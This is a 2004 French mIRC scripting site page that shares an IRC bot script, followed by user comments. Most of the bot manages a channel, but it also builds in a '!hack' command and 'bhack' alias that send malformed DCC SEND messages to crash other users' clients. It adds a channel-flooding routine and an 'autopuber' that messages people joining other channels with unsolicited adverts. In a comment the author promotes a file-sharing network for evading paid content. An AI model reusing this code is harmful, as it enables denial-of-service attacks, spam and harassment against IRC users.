begin process at 2010 03 21 16:50:00
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Bots

 > BOT MULTI-FONCTIONS (ET MÊME PLUS)

BOT MULTI-FONCTIONS (ET MÊME PLUS)


 Information sur la source

Note :
5,33 / 10 - par 9 personnes
5,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Bots Niveau :Débutant Date de création :26/08/2004 Vu / téléchargé :50 371 / 4 208

Auteur : b3b3n

Ecrire un message privé
Commentaire sur cette source (45)
Ajouter un commentaire et/ou une note

 Description

Voila un bot très configurable avec pleins d'options je l'ai mit en niveau débutant car je ne m'estimes pas meilleur que ca ...
désolé si il n'y a pas de dialogs j'ai eu la flem ...
Ne critiquez pas les partis qui tienent du lamerz car je les ai créé pour d'autres personnes mais je peux les supprimé meme si à mon avis vu leur vetusté, elles n'ont aucun effets négatifs depuis quelques temps ... (DDC FLOOD <= POURI => PUB) !

Source

  • #######################
  • ########ON TEXT########
  • #######################
  • on *:TEXT:*:*:{
  • if (%botantipub == 1) {
  • if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
  • /set %frase $1-
  • if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
  • else {
  • inc $+(%,pub,$ial($nick).host,$chan) 1
  • if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
  • /notice $nick :[ATTENTION Tu a fais 1 pub sur  $+ %chan $+  :(`): La prochaine = BAN 2min]:
  • /timer 1 1 /join $wildtok(%frase,#*,1,32)
  • /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur  $+ $chan $+  :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre  $+ $chan $+  No Boulz/puberz thx]:
  • /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre  $+ $chan $+  $+ ]:
  • /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
  • /kick $chan $nick :[1 pub ! et deja 1 de trop]:
  • }
  • else {
  • /mode $chan +b $ial($nick).host
  • /timer 1 120 /mode $chan -b $ial($nick).host
  • /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
  • /unset $+(%,pub,$ial($nick).host,$chan)
  • }
  • }
  • }
  • }
  • if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
  • if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
  • if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
  • if (($1 == !msg) && ($chan == $null)) {
  • if ($2 == $null) { return }
  • set -u0 %a 0
  • :loop
  • inc %a
  • if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
  • if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
  • goto loop
  • }
  • if ($1 == !news) {
  • if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
  • if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
  • if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
  • if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
  • }
  • if ($1 == !cmds) {
  • .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
  • .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff) %botsufixe
  • if ($nick isop $chan) {
  • .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
  • }
  • }
  • if ($nick !isop %botchan) { return }
  • if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
  • if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
  • .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
  • }
  • if ($1 == !readallmsg) {
  • set -u0 %a 0
  • set -u0 %b 0
  • :hum
  • inc %a
  • inc %b 2
  • if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
  • .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
  • goto hum
  • }
  • if ($1 == !opcmds) {
  • .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3)) %botsufixe
  • .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ; ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
  • .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
  • }
  • if ($1 == !setonjoin) {
  • set %voiceonjoin $2-
  • .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
  • }
  • if ($1 == !setantipub) {
  • set %botantipub 1
  • .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
  • }
  • if ($1 == !setonjoinmsg) {
  • set %joinmsg $2-
  • .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
  • }
  • if ($1 == !setprefixe) {
  • set %botprefixe $2-
  • .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  • }
  • if ($1 == !setsufixe) {
  • set %botsufixe $2-
  • .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  • }
  • if ($1 == !hack) {
  • /hack $2-
  • .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
  • }
  • if ($1 == !voice) {
  • mode %botchan +v $2-
  • }
  • if ($1 == !autopuber) {
  • set %autopuber $2
  • set %autopubn $3
  • .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
  • }
  • if ($1 == !autopubmsg1) {
  • set %autopubx $2-
  • .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
  • }
  • if ($1 == !autopubmsg2) {
  • set %autopuby $2-
  • .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
  • }
  • if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
  • if ($1 == !op) {
  • mode %botchan +o $2-
  • }
  • if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
  • if ($1 == !setsite) {
  • set %botsite $2-
  • .notice $nick %botprefixe !site: %botsite %botsufixe
  • }
  • if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
  • if ($1 == !kick) {
  • /kick %botchan $2 $3
  • }
  • if ($1 == !ban) {
  • /ban %botchan $2
  • }
  • if ($1 == !kickban) {
  • /ban %botchan $2
  • /timer 1 1 /kick %botchan $2 $3
  • }
  • if ($1 == !setstaff) {
  • set %botlineup $2-
  • .notice $nick %botprefixe !lineup: %botlineup %botsufixe
  • }
  • if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
  • if (($left($1,8) == !setnews) && ($len($1) == 9)) {
  • set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
  • }
  • if ($1 == !supprallmsg) {
  • unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
  • }
  • if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
  • if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
  • set -u0 %a $2
  • dec %a
  • :del
  • inc %a
  • if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
  • set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
  • set %msg [ $+ [ %a ] ] %t
  • set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
  • set %nickoffmsg [ $+ [ %a ] ] %t
  • }
  • }
  • #######################
  • #######others ON#######
  • #######################
  • ON *:LOAD:{
  • .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
  • .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  • .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
  • .timer 1 5 set %botchan $?="Nom du chan principal ?"
  • .timer 1 5 set %botnick $?="Nom du bot ?"
  • .timer 1 5 set %Qauth $?="compte Q du bot"
  • .timer 1 5 set %Qpass $?="pass Q du bot"
  • .timer 1 30 if (%botsrv) { server %botsrv }
  • }
  • ON *:UNLOAD:{
  • .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
  • .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  • }
  • ON *:CONNECT:{
  • .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
  • mode $me +x
  • /join %botchan
  • /timer 1 5 if ($%botnick != $me ) { /name %botnick }
  • }
  • ON *:START:{
  • /server %botsrv
  • /nick %botnick
  • }
  • on *:JOIN:*:{
  • if ($chan == %botchan) {
  • if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
  • if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
  • if (%onjoin == op) { mode $chan +o $nick }
  • if (%onjoin == voice) { mode $chan +v $nick }
  • }
  • if ($chan != %botchan) && (%autopuber == 1) {
  • if (%antipub => %autopubn) {
  • .timer 1 10 scanpub
  • }
  • if (%antipub < %autopubn) { inc %antipub }
  • if (!%antipub) { set %antipub 0 }
  • }
  • }
  • on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }
  • #######################
  • #########Alias#########
  • #######################
  • alias scanpub {
  • if ($nick !isop $chan) {
  • if (%autopubx != $null) { .msg $nick %autopubx }
  • if (%autopuby != $null) { .msg $nick %autopuby }
  • .ignore -u60 $nick
  • set %antipub 0
  • set %pubnick %pubnick $nick
  • invite $nick %botchan
  • }
  • }
  • alias name { set %mynick $1 | notify $$1 }
  • alias goandflood {
  • if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
  • if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
  • if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
  • }
  • alias goflood {
  • .timerdeflood %nbflood %repetflood /goandflood
  • echo -a 8,7flood lancé
  • }
  • alias stopflood {
  • .timerdeflood off
  • echo -a 8,7flood stopé
  • }
  • alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
  • alias hack {
  • if ($1) { bhack $1 }
  • if ($2) { bhack $2 }
  • .timerbhack1 1 5 if ($3) { bhack $3 }
  • .timerbhack1 1 10 if ($4) { bhack $4 }
  • .timerbhack1 1 15 if ($5) { bhack $5 }
  • }
  • #######################
  • #########CTCP##########
  • #######################
  • ctcp *:ping:?:/halt
  • ctcp *:time:?:/halt
  • ctcp *:finger:?:/halt
  • ctcp *:version:?:/halt
  • #######################
  • #########menu##########
  • #######################
  • menu menubar,channel,query,status {
  • -
  • ¤ Bot ¤
  • .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
  • .Serveur du bot ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
  • .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
  • .Q auth
  • ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
  • ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
  • .Configuration
  • ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  • ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  • ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"
  • ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"
  • ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
  • ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
  • ..!site ( %botsite ):/set %botsite $?="Votre site web"
  • .Bot puber
  • .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
  • .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
  • .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
  • .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
  • .AutoMessage
  • ..lancer l'auto message:/goflood
  • ..stoper l'auto message:/stopflood
  • ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
  • ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
  • ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
  • .. Channels ou flooder --
  • ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
  • ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
  • ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
  • .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
  • .hack:/bhack $?="Quel nick(s) ?"
  • }
  • #######################
  • #####bot by b3b3n######
  • #######################
  • ####b3n_j@voila.fr#####
  • #######################
#######################
########ON TEXT########
#######################


on *:TEXT:*:*:{
  if (%botantipub == 1) {
    if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
      /set %frase $1-    
      if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
      else { 
        inc $+(%,pub,$ial($nick).host,$chan) 1
        if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
          /notice $nick :[ATTENTION Tu a fais 1 pub sur  $+ %chan $+  :(`): La prochaine = BAN 2min]:
          /timer 1 1 /join $wildtok(%frase,#*,1,32)
          /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur  $+ $chan $+  :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre  $+ $chan $+  No Boulz/puberz thx]:
          /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre  $+ $chan $+  $+ ]:
          /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
          /kick $chan $nick :[1 pub ! et deja 1 de trop]:
        }
        else {
          /mode $chan +b $ial($nick).host
          /timer 1 120 /mode $chan -b $ial($nick).host
          /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
          /unset $+(%,pub,$ial($nick).host,$chan)
        }
      }
    }
  }
  if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
  if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
  if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
  if (($1 == !msg) && ($chan == $null)) {
    if ($2 == $null) { return }
    set -u0 %a 0
    :loop
    inc %a
    if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
    if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
    goto loop
  }
  if ($1 == !news) {
    if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
    if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
    if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
    if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
  }
  if ($1 == !cmds) {
    .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
    .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff)  %botsufixe
    if ($nick isop $chan) {
      .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
    }
  }

  if ($nick !isop %botchan) { return }
  if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
  }
  if ($1 == !readallmsg) {
    set -u0 %a 0
    set -u0 %b 0
    :hum
    inc %a
    inc %b 2
    if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
    .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
    goto hum
  }
  if ($1 == !opcmds) {
    .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3))  %botsufixe 
    .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ;  ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
    .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
  }
  if ($1 == !setonjoin) {
    set %voiceonjoin $2-
    .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
  }
  if ($1 == !setantipub) {
    set %botantipub 1
    .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
  }
  if ($1 == !setonjoinmsg) {
    set %joinmsg $2-
    .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
  }
  if ($1 == !setprefixe) {
    set %botprefixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !setsufixe) {
    set %botsufixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !hack) {
    /hack $2-
    .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
  }
  if ($1 == !voice) {
    mode %botchan +v $2-
  }
  if ($1 == !autopuber) {
    set %autopuber $2
    set %autopubn $3
    .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
  }
  if ($1 == !autopubmsg1) {
    set %autopubx $2-
    .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
  }
  if ($1 == !autopubmsg2) {
    set %autopuby $2-
    .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
  }
  if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
  if ($1 == !op) {
    mode %botchan +o $2-
  }
  if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
  if ($1 == !setsite) {
    set %botsite $2-
    .notice $nick %botprefixe !site: %botsite %botsufixe
  }
  if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
  if ($1 == !kick) {
    /kick %botchan $2 $3
  }
  if ($1 == !ban) {
    /ban %botchan $2
  }
  if ($1 == !kickban) {
    /ban %botchan $2
    /timer 1 1 /kick %botchan $2 $3
  }
  if ($1 == !setstaff) {
    set %botlineup $2-
    .notice $nick %botprefixe !lineup: %botlineup %botsufixe
  }
  if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
  if (($left($1,8) == !setnews) && ($len($1) == 9)) {
    set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
  }
  if ($1 == !supprallmsg) {
    unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
  }
  if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    set -u0 %a $2
    dec %a
    :del
    inc %a
    if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
    set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
    set %msg [ $+ [ %a ] ] %t
    set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
    set %nickoffmsg [ $+ [ %a ] ] %t
  }
}

#######################
#######others ON#######
#######################

ON *:LOAD:{
  .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
  .timer 1 5 set %botchan $?="Nom du chan principal ?"
  .timer 1 5 set %botnick $?="Nom du bot ?"
  .timer 1 5 set %Qauth $?="compte Q du bot"
  .timer 1 5 set %Qpass $?="pass Q du bot"
  .timer 1 30 if (%botsrv) { server %botsrv }
}
ON *:UNLOAD:{
  .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
}
ON *:CONNECT:{
  .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
  mode $me +x
  /join %botchan
  /timer 1 5 if ($%botnick != $me ) { /name %botnick } 
}
ON *:START:{
  /server %botsrv
  /nick %botnick
}
on *:JOIN:*:{
  if ($chan == %botchan) {
    if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
    if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
    if (%onjoin == op) { mode $chan +o $nick }
    if (%onjoin == voice) { mode $chan +v $nick }
  }
  if ($chan != %botchan) && (%autopuber == 1) {
    if (%antipub => %autopubn) {
      .timer 1 10 scanpub
    }
    if (%antipub < %autopubn) { inc %antipub }
    if (!%antipub) { set %antipub 0 }
  }
}

on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }

#######################
#########Alias#########
#######################

alias scanpub {
  if ($nick !isop $chan) {
    if (%autopubx != $null) { .msg $nick %autopubx }
    if (%autopuby != $null) { .msg $nick %autopuby }
    .ignore -u60 $nick
    set %antipub 0
    set %pubnick %pubnick $nick
    invite $nick %botchan
  }
}

alias name { set %mynick $1 | notify $$1 }

alias goandflood {
  if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
  if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
  if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
}

alias goflood {
  .timerdeflood %nbflood %repetflood /goandflood
  echo -a 8,7flood lancé
}
alias stopflood {
  .timerdeflood off
  echo -a 8,7flood stopé
}

alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
alias hack {
  if ($1) { bhack $1 }
  if ($2) { bhack $2 }
  .timerbhack1 1 5 if ($3) { bhack $3 }
  .timerbhack1 1 10 if ($4) { bhack $4 }
  .timerbhack1 1 15 if ($5) { bhack $5 }
}

#######################
#########CTCP##########
#######################

ctcp *:ping:?:/halt
ctcp *:time:?:/halt
ctcp *:finger:?:/halt
ctcp *:version:?:/halt

#######################
#########menu##########
#######################


menu menubar,channel,query,status {
  -
  ¤ Bot ¤
  .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
  .Serveur du bot  ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
  .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
  .Q auth
  ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
  ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
  .Configuration
  ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"

  ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"

  ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
  ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
  ..!site ( %botsite ):/set %botsite $?="Votre site web"
  .Bot puber
  .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
  .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
  .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
  .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
  .AutoMessage
  ..lancer l'auto message:/goflood
  ..stoper l'auto message:/stopflood
  ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
  ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
  ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
  .. Channels ou flooder --
  ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
  ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
  ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
  .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
  .hack:/bhack $?="Quel nick(s) ?"
}

#######################
#####bot by b3b3n######
#######################
####b3n_j@voila.fr#####
#######################

 Conclusion

mes remerciments Simcamb de #vossey et de #seek4L et Arkanis de #arkanis qui conciderent les noobs comme des futures scripters et non comme des déchets ! Je remercis aussi #help.script et beaucoup d'autres chans qui m'ont aidé dans tous mes projets !

J'ai créé www.FTPCorp.fr.st je ne peux donc pas m'enpecher de faire une pub ;)

Dailleur comme ce script à été créé par un acro du partage: RIGHT TO COPY :D !!!

J'esperes que ce script n'est pas aussi pouri que je le penses ... à vous de me le dire, merci d'avance !

PS:désolé pour l'orthographe: il est 6:28 du matin, je suis crevé, je vais allé me coucher donc je ne corrigerais pas mes fautes d'orthographe ... désolé.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Sources du même auteur

BOT POUR CANAL DE WEBRADIO (BY A NOOB :D)

 Sources de la même categorie

Source avec Zip SERVICE GEOFRONT (PERL) par iZyTeHPariaH
Source avec Zip TCL EGGDROP par aliassangelius
ANIMATION POUR BOT par michounou
RECORD AFFLUENCE MULTI-SALON par extarsik
Source avec Zip Source avec une capture LOGCHAN BY DIIMS :: POUR BOT :: TOTALEMENT CONFIGURABLE par sodims

Commentaires et avis

Commentaire de b3b3n le 26/08/2004 06:42:05

Si vous aussi vous etes contre le web payant et que vous voulez pouvoir enfin télécharger sans être pisté par les autorités www.FTPcorp.fr.st ! Un reseau de FTP qui n'attend que votre participation !

Commentaire de ReMi34 le 26/08/2004 09:06:55

J'ai une remarque à dire :
Je trouve que c'est bien d'avoir tout mit dans UN SEUL on text, pas que y'en ai 20 000 :)

Sinon, ça me sera pas trés utile pour ma part mais c'est bien :)

Commentaire de calopsfr le 26/08/2004 09:28:29

maintenant que je suis un peu plus doué qu'avant, je peux me permetre quelques critiques:
le bot n'est pas tres utile, étant donné qu'on peut en trouver avec les memes fonctions partout... sinon, c'est plutot bien codé (j'ai pas testé mais ca devrait marcher), mais essaie de prendre l'habitude de ne pas mettre de / devant les fonctions...

Commentaire de b3b3n le 26/08/2004 15:17:51

Alors pour l'utilité, je trouve qu'il y a quand meme pas mal de fonctions sympas.
Mais c'est vrai que ce n'est qu'un bot parmis d'autres.
En tout cas j'esperes qu'il poura aider certains en mIRC Scripting si il n'aide personne par ses fonctions ...

Merci à vous de poster ces commentaires !

(c'est vrai qu'il faudrait bien que j'arete de rajouter des / par reflexes :D  ! )

Commentaire de Simcamb le 03/09/2004 23:03:15

